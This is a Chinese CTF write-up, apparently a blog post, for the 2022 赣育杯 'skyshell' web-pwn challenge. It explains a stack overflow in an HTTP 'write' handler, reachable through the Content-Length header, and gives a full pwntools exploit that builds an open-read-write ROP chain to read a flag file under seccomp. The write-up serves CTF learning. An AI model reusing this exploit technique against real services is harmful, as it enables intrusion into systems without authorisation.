2022赣育杯之skyshell

一道webpwn,据说用web做法一会就出来了,但是我只会pwn(悲),这里就用pwn的解题思路来做做看。
**

题目考点

**

http协议,堆栈溢出漏洞利用,orw rop链构造,seccomp保护
在这里插入图片描述
存在沙盒,不过好在orw功能齐全,不用我们来泄露libc
根据hint"***查找write命令网络响应内容的关键字,定位到该位置进行分析。***"
我们之间定位到在这里插入图片描述很明显这里有个memcpy,很有可能存在溢出,这里的dest在栈上偏移是0x5d8,this+2是我们输入存入地址的指针,v1大概率是我们可以控制的,但是想要到这里得让this+0xd8是“write”。涉及到我的盲点,还好有位师傅告诉我怎么到
我们尝试输入0x1000个字节
在这里插入图片描述
溢出了
在这里插入图片描述
发现这里的长度是我们可以控制的,意料之中,控制context-length即可,我们就得到了一个栈溢出

在这里插入图片描述
后面就是简单的re2cus来进行orw了

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64', log_level='debug')#arch = 'i386')
filename='./pwn'
io=process(filename)

#libc=ELF('./libc.so.6')
elf=ELF(filename)
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
	if(LOCAL):
		gdb.attach(io)

def post(d):
	p =  b'POST /?request=write HTTP/1.1\r\n'
	p += b'Content-Length: ' + str(len(d)).encode() + b'\r\n'
	p += b'\r\n'
	p += d
	s(p)				
def exploit():
	li('exploit...')
	gadget_init = 0x41127a
	gadget_call = 0x411260
	buf = 0x619f00
	flag_addr =buf
	buz=buf+0x100
	p = b'A' * 0x5d8
	rop = flat([
	gadget_init,
	0, 1,
	elf.got['read'],0x100,flag_addr ,0, 
	gadget_call,
	0, 0,1,
	elf.got['open'],0,0, flag_addr, 
	gadget_call,
	0, 0, 1,
	elf.got['read'], 0x100, flag_addr,3, 
	gadget_call,
	0, 0, 1,
	elf.got['write'],0x100, flag_addr, 1, 
	gadget_call
	])
	p += rop
	
	
	post(p)
	gdb.attach(io)
	sl('./flag\x00')
	
def finish():
	ia()
	c()
exploit()
finish()

在这里插入图片描述
成功

致谢:感谢南昌航空大学科技学院的一位师傅,没有他我不会知道怎么控制write

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值